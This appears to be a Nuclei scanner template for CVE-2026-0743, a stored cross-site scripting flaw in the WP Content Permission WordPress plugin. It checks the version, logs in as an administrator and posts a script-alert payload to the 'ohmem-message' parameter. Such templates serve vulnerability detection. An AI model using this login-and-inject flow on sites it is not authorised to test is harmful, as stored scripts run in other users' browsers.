WP Content Permission <= 1.2 - Cross-Site Scripting

id: CVE-2026-0743

info:
  name: WP Content Permission <= 1.2 - Cross-Site Scripting
  author: iamatownboy
  severity: medium
  description: |
    The WP Content Permission plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'ohmem-message' parameter in all versions up to, and including, 1.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
  impact: |
    Authenticated attackers with administrator-level access can inject scripts that execute in other users' browsers.
  remediation: |
    Update WP Content Permission to a version newer than 1.2.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/e44403cd-1cee-43c4-aabc-3eaad433c020?source=cve
    - https://plugins.trac.wordpress.org/browser/wp-content-permission/tags/1.2/admin/views/admin.php#L74
    - https://plugins.trac.wordpress.org/browser/wp-content-permission/trunk/admin/views/admin.php#L74
    - https://nvd.nist.gov/vuln/detail/CVE-2026-0743
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 4.4
    cve-id: CVE-2026-0743
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 3
    vendor: orenhav
    product: wp-content-permission
    framework: wordpress
    publicwww-query: "/wp-content/plugins/wp-content-permission/"
  tags: cve,cve2026,wordpress,wp,wp-plugin,wp-content-permission,xss,stored,authenticated

variables:
  xss: "{{randstr}}<script>alert(1)</script>"

flow: http(1) && http(2) && http(3)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/wp-content-permission/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - contains(body, "WP Content Permission")
          - compare_versions(version, "<= 1.2")
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - '(?i)Stable tag:\s*([0-9.]+)'
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP+Cookie+check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1

    cookie-reuse: true

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-admin/admin.php?page=wp-content-permission HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}/wp-admin/admin.php?page=wp-content-permission

        ohmem-message={{url_encode(xss)}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{xss}}"

      - type: word
        part: content_type
        words:
          - "text/html"
# digest: 4a0a00473045022100de81d7c5fc161851688cbcf4c5f21e450fa905c2bb629e9165a7cd988014045a022079ebd0afc27012e07d84910d54098b2ca1c7c22b97b6afac168ef8609e3dcc5e:922c64590222798bb761d5b6d8e72950